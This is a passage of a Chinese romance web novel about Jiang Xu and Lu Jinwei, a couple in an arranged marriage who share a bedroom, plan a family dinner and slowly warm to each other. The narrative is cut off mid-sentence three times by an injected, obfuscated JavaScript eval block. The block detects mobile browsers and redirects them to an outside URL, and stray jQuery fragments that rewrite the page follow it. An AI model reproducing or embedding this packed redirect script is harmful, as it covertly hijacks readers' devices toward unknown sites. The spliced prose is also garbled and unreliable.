陆尽惟不知何时已经洗完澡,站在了衣帽间外。
姜栩回头,看到他一身灰色睡衣,质地柔软,泛着点点晶莹的珠光。墨发垂盖大半额头,看着比西装革履时温和许多,贵气感却并没有被掩盖半分。
“没事,收拾得差不多了。”她合上已经清空的行李箱,拉到一边。
陆尽惟扫了一眼衣帽间,这也是他第一次看到放进许多色彩各异的女士服装的衣帽间,多少有些不适应:“这些衣服是秘书帮忙准备的,如果不合适的话可以跟她说。”
“好,谢谢。”
陆尽惟盯着她看了一会儿。头顶暖色的灯光给她铺上一层淡淡的柔光,明眸浅眉,乌黑垂顺的头发透着点点光芒,显得她比白天看着更柔和清丽。
“你知道是哪个秘书?”他问。
“不知道。”
“不知道你答应得这么干脆?”
“感觉应该不会有不合适的。”
衣服挺多,她也不是那种一天换一套新衣服的人,这一柜子不一定能被全部宠幸到。
“楚羽,明天让她联系你。”
“好。”
大概事项都说得差不多,陆尽惟回身往外走:“洗漱了早点休息。”
姜栩出衣帽间,才发现陆尽惟已经走到床头,正准备掀被上床。
她脚步暂停:“你也睡这?”
4. 选择难题
声音带着显而易见的错愕,在安静的主卧里异常清晰。
陆尽惟手上的动作停了一下,回头看她,淡淡地陈述事实:“这是主卧。”
“我知道。”姜栩顿了一下,“但你刚才不是说去隔壁……”
“洗澡。”陆尽惟接过她的话,“我说的是去隔壁洗澡。”
姜栩噎住。
她在心里把刚才的对话重新过了一遍。
好像……确实是这样。
“那我睡哪?”她还是问了出来。
陆尽惟转身看着她。
“姜……姜。”本来要喊姜小姐,却硬生生转了个弯。
“嗯?”
“我们结婚了,住一间房是最基本的。爷爷让我们回来住,目的显而易见,别在眼皮子底下兴风作浪。”
他的声音微低,磁性悦耳,听着是一种享受。
姜栩忽然想到跟他的第一次见面,那时她先到,后者伴着一声“抱歉,我来晚了”。就在广播部的经验来看,那声音放在广播部,绝对是头牌栏目主持人,清润不腻,没有浓厚的沙哑,带着点低沉,干脆利落。
但此刻他的声音配上冷淡表情,没法和享受联系起来。
兴风作浪这个词……
陆尽惟站在床边,双臂交叠环抱胸前,看着立在门口的姜栩,像个稻草人一动不动,解释道:“只能睡在一间房……老宅就这一间主卧是给新婚夫妻的,爷爷早就做好准备,他让我们来老宅住,不是为了分房睡的。”
他的话浇灭了姜栩的那点幻想。
她感觉自己脸颊微微发烫,因为气氛尴尬,“也对……”
原来这就是他说的心理准备。
陆尽惟掀开被子的一角,坐在床沿看了看她,“你还有别的问题吗?”
姜栩摇了摇头。
“那就先去洗漱。”
语气不像丈夫对妻子说话,更像老板对员工说“去干活”。
她也鬼使神差地听话,转身进了浴室。
出来时,主卧没人。
姜栩灵光乍现,以最快的速度吹干头发,护肤,跑去隔壁抱来被子。
她扫视完床和沙发,她把被子铺在了沙发上。往上一躺,沙发的长度完美得就像为她量身定制一般。
咔哒一声,伴着轻轻点点的脚步声。
“你要睡沙发?”
姜栩只露出一个头在外面:“我晚上睡觉不太老实,怕半夜打扰到你,所以还是睡沙发吧。”
陆尽惟毫无起伏地看了她一会儿,折身往床上走,默认她的行为。
他没想过要她睡沙发。现实情况是,他睡沙发长度不够,两人睡一张床她不乐意,那就没办法。她自己选择的,他没逼。
偌大的主卧,一人睡床,一人睡沙发,隔着三四米。
陆尽惟处理完零星工作,将文件搁在床头柜,看到好友群中@他的消息。
沈经纶:【下个月一号我酒吧开业,到时带上姜栩一起来热闹热闹@冷面陆】
江湛:【刚好,我那时回京市,你安排车接我@沈聪明】
沈经纶:【舍得回来了?】
江湛:【祖国怀抱最温暖。】
沈经纶发了个了然的表情包,拉回正题:【阿惟,你记得问问姜栩。】
几人都知道他为何跟姜栩结婚,不过是为应付陆老爷子,让人一直放心不下的事尘埃落定,至于是姜栩或是其他人,于他们来说没差,也没什么稀奇。作为陆尽惟多年好友,对待陆太太的态度都是一样,该有的礼节礼貌不会少,但也仅停留于此,毕竟,陆尽惟自己都没上心,他们也没什么好起劲的。
指不定哪天合作破裂离了婚,关系更尴尬。
陆尽惟斟酌后回复:【好。】
另一角的沙发上,姜栩露出脑袋正玩着手机,周君绵传来微信:【晚上生活如何?】
姜栩点开聊天框:【一般一般。】
随即拍了一张躺在沙发上的照片,一并发过去。
周君绵:【睡沙发?】
姜栩:【bingo!】
【你们怎么不睡一起?】
姜栩回复:【我们现在相当于两个陌生人,怎么跟陌生人睡一起……】
发完她本想伸下腿脚,发现沙发长度有限,刚好抵着,没有多余的位置。
放弃伸展,她又开始解释:【我睡沙发刚刚好,他身高腿长的也睡不了沙发,适合的人只有我。】
那头半天都是对方正在输入的状态,终于发了过来:【这么善解人意?刚住一起就睡沙发,你又不欠他什么,这么替他着想,自己在这里感天动地
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590404|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
呢?你今天睡沙发,他就觉得你好说话、好欺负。平常我也没见你这么爱睡沙发,这会儿怎么装起鹌鹑了。】
姜栩想了想,渐渐被说服。沙发虽然还算舒服,但远不及大床。
开始觉得周君绵没说错,她凭什么委屈了自己。
她开始懊恼:【但是吧……是我主动提出睡沙发,现在沙发都要睡热乎了(哭唧唧.jpg)】
周君绵:【那有什么关系,你要睡床,他还能多问什么?】
姜栩:……
按照他的淡漠冷静,倒是没错。
本是觉得两个人不熟,睡一张床上奇怪。转念一想,迟早的事,也没必要这么矫情。
她慢吞吞起身,抱起被子往大床走,在另一边的床沿边停下,看着还没睡下的人。
“我想来想去,感觉还是睡床上好,万一被爷爷发现了也省得解释。”她紧紧抱着被子,义正词严地说道。
“你不是怕打扰我么?”
他绝对是故意问的。
“没办法,只有一张床。”
话落,陆尽惟扫了她一眼,又继续看手机:“早点睡吧,别瞎折腾了。”
姜栩:“……”
“不是折腾!”
“嗯。”
看着陆尽惟一副淡定的模样,姜栩面无表情地推开他盖的被子,把怀中的被子抛在床上,铺平,一骨碌钻进去。
陆尽惟将她的一系列动作收进眼底,轻轻皱了下眉,不习惯的感觉加重几分。
他并不逃避结婚后的一切责任和义务,但突然身边多了个不相熟的人,实在是让人很难迅速适应。
姜栩背对着他,在心里回想。
之前没怎么接触,没觉得陆尽惟这人怎么样,顶多是听别人说起他行事低调果断,在商场上手段狠厉,人品这些完全没毛病。果然都是别人口中的,现在看来,他不仅冷漠,还刻薄,嘴巴也毒。
转头看着他的侧脸,陌生又熟悉的感觉再一次袭来,她心中突然而来一种怅然若失的错觉。
相似的皮囊,终究装着不同的灵魂。
“你有笑的时候吗?”
嘴比脑子快,她想到,也直接问了。
“我不是面瘫。”
“哦……”
他只是没跟她笑过。
5. 另类圆满
寂静的状态持续到她淡定地关掉手机。
“早上几点上班?”陆尽惟倏然问道,看了一眼他这位不太熟悉的妻子。
感觉背对着人不太礼貌,姜栩换成平躺的状态,“九点。”
陆尽惟思索片刻:“时间差不多,明天早上用餐后一起走,顺路送你。”
“你要是不顺路的话我可以打车,”她停了下,又说,“或者我让司机送一下。”
之前住自己公寓那边时,离广电台还算近,通勤不过半小时,老宅离广电台差不多要四五十分钟车程,自然不能逞强。
“刚好经过广电台。”
陆尽惟不怎么清楚司机到底是走的哪条路到公司,但广电台和启悦都是一个方向,不至于差太远。
姜栩:“好,没问题。”
“会开车吗?”他问了句。
“会。”姜栩想了想,“但不怎么开。”
陆尽惟淡淡“嗯”了一声,再无后文。
空气里出现短暂的凝滞。
“下个月五号,沈经纶酒吧开业,邀请你一起去。”陆尽惟将话传达,又补充道,“去不去看你自己。”
姜栩脑子里回想几遍,想起沈经纶这号人,陆尽惟的发小,当时婚礼上的伴郎之一,说过一些话,陆尽惟出国后,自然没有任何交集,叫她去也是客套。目前以她跟陆尽惟的关系,真不适合出现在他和他朋友们的聚会上,尴尬又无措。
而且,他刚刚最后一句话应该是给她的提示,别人邀请了,他只是传达意思,但内心并不想让她一起去。
“我还是不去了吧,你到时候替我带一声生意兴隆。”
陆尽惟没有异议,看了眼时间,关闭手机。
姜栩躺着,眼角余光看完全部。他动作利落,随手将床头的台灯调至最暗的档位。
“早点休息,关灯?”
看似是问她,其实不然,意思就是他要关灯了。
她僵了几秒,关掉床头灯,房间瞬间陷入黑暗。
姜栩睁着眼睛等了许久,微弱地听到身旁平稳的呼吸声,还有从他那边飘来的和衣帽间里一样的淡淡木质香味。
她在漆黑中转头看了看,什么都看不到,摸索着被沿,身子轻轻往下一滑,直接躲进被子里,重新划开关掉的手机,又小心翼翼地往床沿挪了些,生怕隔着被子还碰到身边的人。
这一夜,两人背对背躺着,中间的缝隙宽得还能再睡一个人。
姜栩不知道自己什么时候睡着的,只记得翻了几次身,每次翻身都有潜意识作祟,警示自己不要动作太大。
-
两人一同上班差不多一周就分道扬镳。陆尽惟近来似乎也很忙,早早出门与她时间不同频,只能让家里司机每天送她去公司。
早上刚到广电台,姜栩就被叫去办公室。
不知那天她离开之后的饭局是何种情形,但姜栩莫名觉得朱立勤对她没那么小气了。
办公室门口,姜栩敲了敲门。
“小姜啊,进来。”朱立勤心情还不错,连带着叫她的语气都轻快几分。
“主任,您找我?”
朱立勤大多时候找她,准没什么好事,所以她也已经做好了迎接坏事的准备。
“是这样的,《人生访谈》那节目你也知道,台里正在走流程选拔主持人,我之前呢,就给新闻部那边推荐了你。你的能力我都是看在眼里的,在新闻部一定能有所作为。你好好加油,我很看好你,也一直都是支持你的。”朱立勤的话说得毫无破绽,笑意都变得和善。
有此行径,全是出于那天的饭局。他叫姜栩过去确实有私心驱使,一来刘坤对她挺感兴趣,二来想让她认清在广播部腰杆别那么直,该学会向谁服软。
但饭局上他意识到一个出乎意料的情况。
似乎,姜栩跟那位陆总关系不一般。
如果毫不认识,又怎么会在第一次见面的情况下就知道一个小小电台主持人的名字,陆尽惟虽话语刺人,但让姜栩逃过敬酒之难,连台长都给她递了台阶,无形中给了她一个保护罩。
让投资人或赞助商比较心仪的主持人去饭局的情况之前不是没有过,陆尽惟也曾在过场,对此种现象完全没有任何反应,永远是一副冷眼旁观的态度,但偏偏这次姜栩在场就转换态度,破例给台里众人提醒,多少过于巧合。
陆尽惟并不是什么热心仁慈的人,帮不帮,给不给面子,全看他的心情和主观意愿。
这次,十有八九是因为姜栩。
在商政场合混得久了,学得最快的就是察言观色,见风使舵。
权衡之下,他保守一点的做法便是收敛针对的态度,给自己留一分余地。
姜栩有些惊讶,上次还提醒着她不要忘本,没想到这次态度转了个大弯。
她违心道:“我知道了,谢谢主任的信任和支持。”
朱立勤还算满意她的态度,笑着点头:“没事了,出去吧。”
回到办公室,周君绵就知道了大概。
“怎么样,是不是推荐了你去主持《早间新闻》?”
《早间新闻》一直是李韵主持,近来李韵临近产期,加上她是高龄产妇,想着安胎保养,便主动提出离开主播位置,如今位置空缺,正在找接班人。
她跟周君绵都递交了新闻部主持人的竞选表,至于最后结果怎样,悉听尊便。朱立勤作为部门主任,由他举荐,或许更容易。
姜栩摇头,疑惑地问:“怎么这么问?”
“不是?这不符合他的尿性啊。”周君绵嘀咕,开始跟她讲八卦,“昨天你在饭局上的事情好多同事都知道了,有人说刘坤特别喜欢你,保不齐就是你的靠山,还有的说陆总……就是你老公对你有点儿意思,大致就是说看上你了。”
姜栩汗颜:“好事不出门,坏事传千里……”
她不否认刘坤言行举止的轻佻,夹杂着明晃晃的下流之态,说什么陆尽惟对她有意思,简直天方夜谭。
要说有那么一点儿意思,大概众人都不知道——她好歹是陆太太,当着他的面被人为难,那不就是直接当他面扇他脸。
“那你肯定没听说,我是被陆尽惟赶出来的。”姜栩慢悠悠地说道。
周君绵替她愤慨:“这方法确实不对。你回去收拾他!”
姜栩:“……”
那是她敢的事情吗?
“大家就是闲的,没事就爱找点八卦编造,八卦的传播速度,堪比新闻。”周君绵安慰她,开始分析,“朱立勤那么一精的人,有点风吹草动肯定见风使舵啊……之前卡着你就是看你没什么背景靠山,现在估摸着你快有靠山,他肯定要假惺惺地给你先做个顺水人情。”
姜栩垂下眸子:“他说跟新的访谈节目那边推荐了我,让我好好准备那边的考核,不是推荐我去《早间新闻》。”
“鬼才信,也就上嘴皮搭下嘴皮的事儿,本来那节目的候选人里就已经有你了,还用得着他在那儿小丑卖唱。”
《人生访谈》的主持人已经走完了台里的选拔流程,最终考核人员估摸着都已经定下来了。
“他真推荐,我还嫌膈应。反正有机会就抓住,其实在广播部也挺好的。”
“说你咸鱼摆烂你偏偏又积极报名竞聘,说你事业心强,又不争不抢,你奇怪得很。”周君绵笑她。
进来广电台几年,她都是这样的状态,条件和能力完全没问题,少点运气,又偏偏不借人势。
“心态要好。”她只慢悠悠道,“都是时间问题。”
两人坐在走廊上的休憩窗台,看着窗外车水马龙,川流不息的车流如小玩具般不起眼,她们站在高楼大厦睥睨俯瞰,其实也如浮沉的蝼蚁。
“对了,雪碧最近怎么样?”周君绵看到楼下有人遛狗,突然问起。
雪碧是姜栩的猫。
“老样子,在医院住着。”姜栩也注意到那只欢蹦乱跳的狗,“就是年纪大了,精神和身体都大不如以前了。”
“也陪了你好几年了,”周君绵轻声说,“估计都不记得祝弈……”
姜栩凝着窗外看了会儿,淡笑着没有接话。
周君绵将她搂了搂,“姜姜,忘记吧。”
“嗯。”
那个字很轻,如溺水般微弱。
-
下班回来时,陆潜义正要离开,香港那边举办一场慈善会,邀请他过去露个脸。
整个老宅,除了不时打扫做饭的佣人,只剩她和陆尽惟。
关键是,陆尽惟还不一定会回来。
姜栩换好家居服,姜少淳
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590405|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
打来电话。
“栩栩,这两天忙不忙?”
“最近还好。怎么了?爸。”
“不忙的话回家吃顿饭。”自结婚回门后,姜栩都是独自回家,姜少淳也知道陆尽惟一直在国外,客观原因没办法改变,但心里却总不是滋味。
姜氏景况不佳,陆家愿意帮忙是难得的机会,后来陆老爷子提出两家联姻。
在家人和公司之间,他想以家人为重。
当姜栩跟陆尽惟见过面之后,便主动跟他说,她愿意和陆尽惟结婚,甚至已经准备领证。
自己女儿他了解,既怕她太懂事,又怕她一个人忍着委屈,更怕她自欺欺人。
那天他在书房问姜栩,愿意结婚的原因。
姜栩笑得很浅,她说,这是另一种意义上的圆满。
他知道,她还是没有真正走出来。
“准备做什么大菜吗?”姜栩笑嘻嘻地问。
“在你岳叔的农场里钓了好几条鱼,很新鲜,你点菜,想吃的都给你做。你跟阿惟一起过来,听说他最近也回京市了。”姜少淳特意强调。
姜栩明白自己父亲其中的意思,一方面担心她,一方面又怕她没面子。所以借着让两人一起回家的由头,多个相处机会。
陆尽惟回来已有几日,再推脱也没什么新鲜的说辞,姜栩只能先应下:“好,那等他回家我问问他的时间。”
“你早点问,这鱼离了河水不精神,死了没那个新鲜劲了。”姜少淳还不忘提醒。
“您就是想让我早点问,怪那鱼干什么?您还不如直接说时间呢。”因为她感觉问了也白问。
“明天或者后天,你不得问问人家,多沟通。”姜少淳提醒她。
姜栩:“……”
“行,听您的,我问他了跟您说。”
姜少淳在那头“嗯”了一声,又问:“你们现在住在陆家老宅那边的吧?”
“对。”
“住那边习不习惯?”
“还行……就是上班远了些,起得更早了。”以至于她要比平时早起半个小时。
“早些起床人也精神,晚上早点睡你就不这么抱怨了。”对于年轻人爱熬夜的通病,在姜栩身上绝对少不了,他也只能嘴上说,该熬的她还是熬。
“过段时间搬新房就近些了。陆爷爷挺喜欢你的,但有时候的礼节礼貌还是不能忘了,知道没有?”姜少淳提醒。
“知道啦爸,这些话您前两天就已经说过了,还不相信我,我绝对不给您丢脸的。”姜栩语气软下来,略带撒娇,一边从冰箱里拿出一瓶果汁。
“我是担心你,哪里是怕你丢脸。有不开心的跟爸爸说,知道没?”姜少淳话语温和。
毕竟两人没什么感情基础,陆尽惟虽然做女婿做得到位,但不一定做丈夫到位,他可不想自己女儿一个人生闷气受委屈。
“知道知道……”
父女俩又短暂闲聊了几句后才挂断电话。
姜栩打算等人一回来就立马问好时间,速战速决,省得一直记挂着这件事。
临近九点,陆尽惟还没有回来。
她打开周智的聊天界面,想问一句陆尽惟是否还在公司,思索了会儿又退了出来。
或许他并不打算交代最近的行程,而且住在老宅,老爷子也不会多问,这种互通讯息的模式可以直接取消。
反正人总会回来的。
佣人已经回了别院,姜栩在一楼的沙发上看了会儿综艺,不知不觉睡着,一会儿又被未关的电视声音吵醒。
一看时间,快十点。
按理来说,陆尽惟也该回来了。换做平常,他最晚七八点就能回来,要是晚了有应酬,他也会提前给老宅或者她发信息——不过大都是周智帮他发的。
老宅管家见人还没回来,特意过来询问,是否需要给他准备宵夜。
她哪里知道,心绪微动,拨通了他的私人号码。
机械声音重复几秒,切换成低沉的嗓音:“怎么了?”
一般她打他的私人电话就是有事,没事的情况下她也不会联系他,起初陆尽惟还会在最开始说一声“喂”,联系过几次之后,他也就省掉,直切重点。
突然的接听让姜栩卡壳,揪着衣角问道:“……你怎么还没回来?”
6. 相处难易
那头有窸窸窣窣的纸页翻动声。
“有什么事?”他没回答,开始反问。
“姜栩,还没休息呢!”另一道声音闯入,姜栩一时没分辨出来,“阿惟还在公司呢!兢兢业业工作,身边连只雌性小动物都没有。”
能说这种调侃打趣的话,貌似就是他的那位朋友,沈经纶。
姜栩对着电话干笑:“我不是那个想法……”
陆尽惟插话,不是对她说的,“你没事的话就慢走不送,出去把门带上。”
“我这不是替姜栩监督你么。”沈经纶对她打来的这通电话分外新奇,像是陆尽惟出现了什么稀罕事,合作夫妻居然还有打电话查岗这样的小情趣。
“有这个闲心,就去路上指挥交通。”
那头安静了两秒,沈经纶随即嘁了一声:“你聊你聊。”说完加大音量,“姜栩,下次咱们再聊,有时间一起出来玩。”
姜栩客套地回了声好。
片刻,真的就没了沈经纶的声音。
“今天晚上临时有个会议,忘了跟你说。”陆尽惟回答她刚刚的问题。
“那要不要让管家给你准备宵夜?”管家还在等着回复。
“不用,让他们休息吧。”
姜栩“哦”了一声,对着管家说明情况,目送着人回了别院。
电话还没挂断。
“你不需要等我。”他提醒,以为她是在特意等他。
姜栩感觉这通电话变得怪怪的,嘴边问他空闲时间的问题在此刻也变得不太合适,只能硬着头皮乱聊:“你还需要很久吗?”
“差不多了,”一阵嘈杂的声音过后,他语气仍然和缓,“还有什么事你说。”
她顿住,急于在这通电话里明确他明天后天哪天有空,显得她没眼力见儿,随口道:“爷爷去香港了,说是那边有个慈善会……”无头无尾的一句过于突兀,她又补了一句,“看你平常这个时间都回来了,今天还没有,就问问你什么时候回来。”
说完即后悔,还不如不说……
那头安静了两秒:“现在就回来。”
“哦,好。”
启悦大楼里,陆尽惟挂断电话,喝了几口白水,将最后一份文件递给了周智。
“最近的行程没跟姜栩说?”他问周智。
周智愣了下,看了一眼陆尽惟,没什么表情,“回国后没有再说过,”尔后又小心翼翼地问道:“要继续随时报备吗?”
按照以前的习惯,陆尽惟只是在国外的时候偶尔把部分行程同步给姜栩,让她知道个大概,回国后他也没提这事,加上两人已经同住一个屋檐,信息沟通起来更加方便,周智便以为报备就此结束。
“今天这种情况,以后提前跟她说一下。”他的行程没特别私密的,何况是对她。
刚刚的电话里,姜栩那边说话没重点,看这个时间点大概就她一个人待在别墅,脑海里倏然浮现出她一个人在别墅里孤零零的样子,莫名感觉有点可怜。
电梯里,周智跟他汇报完后面几天的行程安排,看了眼手机刚进来的讯息,“陆总,刚刚太太问我要你最近的行程安排,那我直接都给了?”
以往都是周智主动发,第一次遇到主动要行程安排的情况。
“现在问你要?”他微微皱眉。
刚跟他通电话完全不提,挂完电话问别人要。
“对。”
陆尽惟语气冷淡:“不给。”
-
与此同时的陆家老宅。
姜栩挂完电话后,无聊地把电视台换了一轮,最后随便停在了一个电视节目上。
此时正播放一部美食纪录片,透过电视大屏,菜色光亮诱人,瞬间勾起她的食欲,她忍不住吞了吞口水。
下午吃得不多,她忽然感觉饿了,立即行动起来,跑进厨房准备煮面。
没多久,锅里浓浓的番茄汤底渐渐冒泡。
彼时陆尽惟正回来,听到厨房发出轻微声响。
缓缓走近,看到一个单薄的身影,穿着一身浅蓝色家居服,微垂着头,头发随意地挽着,半截白皙的脖颈在灯光下显出一层柔光。她挽起袖子,一手拿着筷子,正盯着锅里。
“没吃晚餐?”
姜栩转头看到陆尽惟站在门口,摇了摇头,“就是有点饿了。”见他视线落在锅里,扬了扬筷子,“你要吃吗?我做得还挺好吃的。”
“可以,”番茄浓郁的味道,稍微勾起他的一丝食欲:“不用太多。”
姜栩点头说好,:那你在客厅等会儿,几分钟就好。”
难得陆尽惟吃她嘴短,于是动作麻利地从冰箱里又拿了一小袋面条。
很快,姜栩端着两碗面往餐厅走,往客厅方向喊:“可以吃了。”
陆尽惟走到桌前,两碗红彤彤的汤面,上面还有一个金黄漂亮的荷包蛋,两片午餐肉。
看出他的视线,姜栩提醒:“你快尝尝。”
陆尽惟落座,尝了一口。
“怎么样?味道合适吧?”她一脸浅笑地看着他,像一个等待夸奖的小学生。
对上她明亮的眼睛,陆尽惟点了点头。
味道确实可以,不是五星水准,胜在家常。
像是接收到了讯息,姜栩也夹了一大口吃起来。
气氛正好,她平静淡定地问起:“你最近好像挺忙的吧?”
“还行。”陆尽惟话语稍显温和,特意加了一句,“问这个干什么?”
“……我爸叫我回去吃饭,带上你……你明天后天哪一天空闲?”迟早要说的,她也懒得再消磨情绪独自琢磨。
“所以这碗面是好处?”他吃完最后一口,挑眉勾唇。
姜栩没他吃得快,鼓着腮帮子加快咀嚼,吞下面条,对上他的眼睛,又心虚地移开:“当然不是,你没时间,去不了也没办法,这碗面也还是给你吃了啊。”
还是怕他拒绝,她又补充:“当然,还是希望你可以一起回去。”
陆尽惟忍不住勾唇,合着本来就是给他准备的手短饭,她顺手的事,他得反过来感谢。吃她一碗面,就得听她的事儿。
其实,她也不至于如此,这些事本就是他需要做的。如此行事,倒显得他不待见她,也很难讲话一样。
“什么时候?”他最近确实忙,但不至于连跟她回家吃饭的时间都没有。
“后天?”
“嗯。”
陆尽惟答应得很爽快,姜栩感觉像完成了一件大事一样轻松,不免喜上眉梢。
看她松气的模样,陆尽惟更加地感觉到一种误解,抬眼看她,“你有事情可以随时说,不必这么谨慎。”
姜栩看向他,望见那双深邃的眉眼,又很快垂下头,“哦,好。”
她移开视线,看着他面前空空的大碗,转移到
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17590406|205436||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
轻松的话题:“今晚这面的食材少了点儿,下次我可以做得更好,到时候再请你吃。”
陆尽惟着实也没想到她会做饭,好奇问了一句:“除了这个,你还会做什么?”
“番茄炒蛋,虾仁炒蛋,西红柿鸡蛋汤,青椒炒鸡蛋……很多。”
对面的人诡异地看着她,嘴角微微上扬:“你跟鸡有仇还是跟鸡蛋有仇?”
“……我感谢鸡的子孙还来不及。而且我很拿手的,你别瞧不起人。”
陆尽惟被她逗笑,鸡蛋加一样蔬菜的搭配能有什么技术含量,但仍然配合她的傲娇:“那能点菜吗?”
姜栩:“不能。”
除开列举的,其他领域对她来说都是荒地。当时学这几样也是因为自己爱吃,同时为了有时候亮厨艺,不至于那么捉襟见肘。
陆尽惟了然:“嗯,下次让阿姨多准备点鸡的后代。”
“那也不必太多……”姜栩不好意思地笑了笑。
安静了片刻,陆尽惟开始提醒她:“以后你需要我的行程安排直接找我,不用去问周智。”
姜栩一愣,原来他都知道。
“我不是怕你太忙了,打扰到你。”
“上一秒跟我打电话一句不提,下一秒找我助理要行程安排,你觉得合适吗?”
她摇头,轻声反驳:“一般不都是周智发给我,那找他不是更直接。”
他眉头一挑:“也不至于让我一个当事人成个外人。跟你回家吃饭的人是我,不是他。”
姜栩不说话了。
一口无名的气堵在胸口,不是气她,而是这种被绕过去的感觉,陆尽惟平复一番,看着她:“以后有什么事你直接问我,我发给你。”
“那要是你不回怎么办?”姜栩深觉会有这样的情况,说不定他看到了故意不回。
陆尽惟瞥了她一眼:“看到会回。”顿了下,忍不住补充,“你不必把我想得这么不待见你。”
被赤裸裸地拆穿,姜栩讪讪笑了下,也不掩饰:“你之前的表现,就很像……”
“比如?”
“把我赶出饭局,说我是工具人,说我兴风作浪,瞎折腾……”不过这些都是小事,主要是他一副淡漠无情的表情,有时话一说出口,挺像看不惯她一样。
所以偶尔她也不敢多跟他讲话,怕被挫到。
陆尽惟放下筷子的手一顿,掀起眼皮看她:“记性这么好。”
“咱俩相处也没多久啊,不就这么几件事儿。”
“相处时间确实短,但也不会是针尖麦芒。该做的事我没必要逃避,我对你也没有任何意见。”
姜栩看着他,点了点头。
两人之间寂静片刻。
陆尽惟又开口:“每个人言行习惯不尽相同,不必拘谨,正常相处就好。”
他也无法立刻去纠正自己的表情和言行习惯,她也没必要处处忍气吞声。
姜栩:“……”
“那我可不会让着你。”他说话挫人有一套,但再软的柿子也是有硬的时候。
陆尽惟看她一脸气昂昂,唇角轻轻勾起,点头认可,语气下意识放柔:“不需要你让,怎么习惯怎么来。”
餐厅的灯光带着柔调的黄,像在两人之间铺了一层轻纱,温暖,惬意。
姜栩浅浅笑了下,低下头继续吃面。
她第一次感觉陆尽惟还算好相处。
7. 并肩同步
姜栩吃着忽然想起下午陆老爷子跟她说的话,忍不住笑了。
一抬眼,陆尽惟看着她:“笑什么?”
她收住笑容,语气随意了些:“爷爷走之前说让我们好好看家。走的时候还念叨你,说你也容易像野人一样不着家。”
“也?”
姜栩忍住笑:“他说你妹妹陆尽媛就像个小野人喜欢在外面飘,不爱着家,所以说你也……”
“所以……好笑在哪里?”
姜栩:“……我笑点低。”
她只是突然把面前这样西装革履的人和穿着树叶草裙的野人联系起来,冲击感太强了。
陆尽惟脸上没什么表情,随口问:“他什么时候走的?”
“下午六点的航班。”
陆尽惟点点头,没再多问。
气氛沉寂下去,姜栩怕他多想,斟酌措辞:“他走之前跟我说了一句,‘阿惟要是欺负你,你就告诉我,我收拾他。’”
她说这话的时候,故意学着老爷子的口吻,尾音往上翘,带着点俏皮。
陆尽惟看她学得有模有样,嘴角动了一下,没笑出来,但眼里染上极淡的温和。
“那你怎么说的?”
“我说,”姜栩放下筷子,如复现般端正坐着,“‘爷爷,他不敢,他其实是纸老虎。’”
说完,她回味一番,邀请他认同:“你看,我这配合和反应还可以吧。”
陆尽惟盯着她看了两秒,低下了头,又抬起,唇角微弯:“演员潜力股。”
说完,拿起桌上的空碗,站起来往厨房走。
姜栩愣在原地,看着他的背影,不太确定刚才那个瞬间。
他是不是笑了一下。
是不是嘲讽她?
当晚,两人还是同睡一间房,即使老爷子不在,他们似乎也默契地觉得,没必要再分房了。
姜栩护完肤,转身看到陆尽惟已经在床上,靠在床头,手里拿着一本书。
她走到床沿,掀开被子钻进去,这次她没有背对着他,而是平躺着,盯着天花板。
“陆尽惟。”
“嗯。”
“你后天真的有空吧?别到时候放我鸽子。”
“我答应了就会去。”
“我爸可能会问我们俩相处得怎么样,我到时候就说‘还行’。”
“嗯。”
“要是陈姨说些什么夫妻俩好好相处之类的话,你随便听听就行。”
陆尽惟翻书的手停了一下,偏头看她,语气平静:“我会看着应付。”
“……哦,谢谢。”
说完,她翻过身,把被子拉到下巴。
陆尽惟手指顿了一下,目光从书页上移开,落在她的后脑勺上。
“应该的。”
他们躺在同一张床上,中间隔着半臂的距离。
谁也没再开口,房间里是安静的。
只是较于往日,那种“身边多了个陌生人”的不适感,淡了一点。
-
回家那天,陆尽惟准时在广电楼下等着。
但过了许久,姜栩仍没有下来,电话也没接。
已经等了快二十分钟,陆尽惟将笔记本电脑关掉,耐心即将告罄。
周智透过后视镜看出陆尽惟的不耐,小心地为姜栩解释一句:“姜姜可能有事绊住了吧,离她们下班时间才过去没多久。”
陆尽惟抬眼看他,明明他跟姜栩也没多少接触,现在似乎就已经像熟得认识了大半年的,还为人开脱起来。
他似笑非笑:“你倒是叫得顺口。”
周智:“……”
“陆总,姜……太太来了。”
话落,窗玻璃被敲响。
陆尽惟降下车窗,看到一张含笑而微带歉意的脸,伴着身后的细微霞光,令人眼前一亮。
他移回视线,听到姜栩说道:“不好意思,临时开会没带手机,也拖了点时间。”
临时的会议总有变数,好好的准点下班就这么被拖了十几分钟。
“上来吧。”
姜栩坐进车里,鼻尖萦绕着淡淡的木调雪松香。
